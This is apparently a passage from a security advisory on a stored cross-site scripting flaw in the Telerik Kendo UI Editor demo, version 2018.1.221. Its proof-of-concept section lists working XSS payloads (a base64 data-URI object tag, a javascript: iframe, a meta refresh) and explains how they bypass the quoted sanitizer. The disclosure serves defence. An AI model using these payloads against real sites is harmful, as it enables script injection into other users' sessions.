Vendor Description
“The Editor allows users to create rich text content by means of a WYSIWYG interface. This HTML5 widget outputs identical HTML across all major browsers, follows accessibility standards and provides an API for content manipulation. The generated widget value is comprised of XHTML markup.”
Source: https://www.telerik.com/kendo-ui/editor
Business Recommendation
SEC Consult recommends to implement the workarounds provided by the vendor.
Vulnerability Overview / Description
1) Stored Cross-Site Scripting
The demo application of the Kendo UI Editor which is hosted at demos.telerik.com/kendo-ui/editor/api implements a Sanitizer function which should protect from cross site scripting. However, the implemented Sanitizer fails to catch certain payloads which allow an attacker to execute JavaScript in the context of the editor itself.
Proof Of Concept
1) Stored Cross-Site Scripting
The following, incomplete list, of payloads can be used to trigger an alert box in the API demo application of the Kendo UI Editor: https://demos.telerik.com/kendo-ui/editor/api
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgic2VjdGVzdCIpPC9zY3JpcHQ+"></object> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
After a click on the button the setValue function on line 513 of the beautified “api.js” is called:
var setValue = function () { editor.value($("#value").val()); };
The value function is implemented in line 64383 of the beautified “kendo.all.js” file and defined as:
value: function (html) { var body = this.body, editorNS = kendo.ui.editor, options = this.options, currentHtml = editorNS.Serializer.domToXhtml(body, options.serialization); if (html === undefined) { return currentHtml; } if (html == currentHtml) { return; } editorNS.Serializer.htmlToDom(html, body, options.deserialization); this.selectionRestorePoint = null; this.update(); this.toolbar.refreshTools(); },
In order to mitigate certain XSS payloads the editorNS.Serializer.htmlToDom() function is called which can be seen in the excerpt below:
var Serializer = { toEditableHtml: function (html) { return (html || '').replace(/<!\[CDATA\[(.*)?\]\]>/g, '<!--[CDATA[$1]]-->').replace(/<(\/?)script([^>]*)>/gi, '<$1k:script$2>').replace(/<img([^>]*)>/gi, function (match) { return match.replace(onerrorRe, ''); }).replace(/(<\/?img[^>]*>)[\r\n\v\f\t ]+/gi, '$1').replace(/^<(table|blockquote)/i, br + '<$1').replace(/^[\s]*( |\u00a0)/i, '$1').replace(/<\/(table|blockquote)>$/i, '</$1>' + br); },
Although certain payloads are detected and sanitized by the function, the implemented protection fails to detect the data uri payload. The payload is added unescaped to the editor DOM after several other functions calls.
Vulnerable / Tested Versions
The following version has been tested which was the most recent one at the time of the test:
- v2018.1.221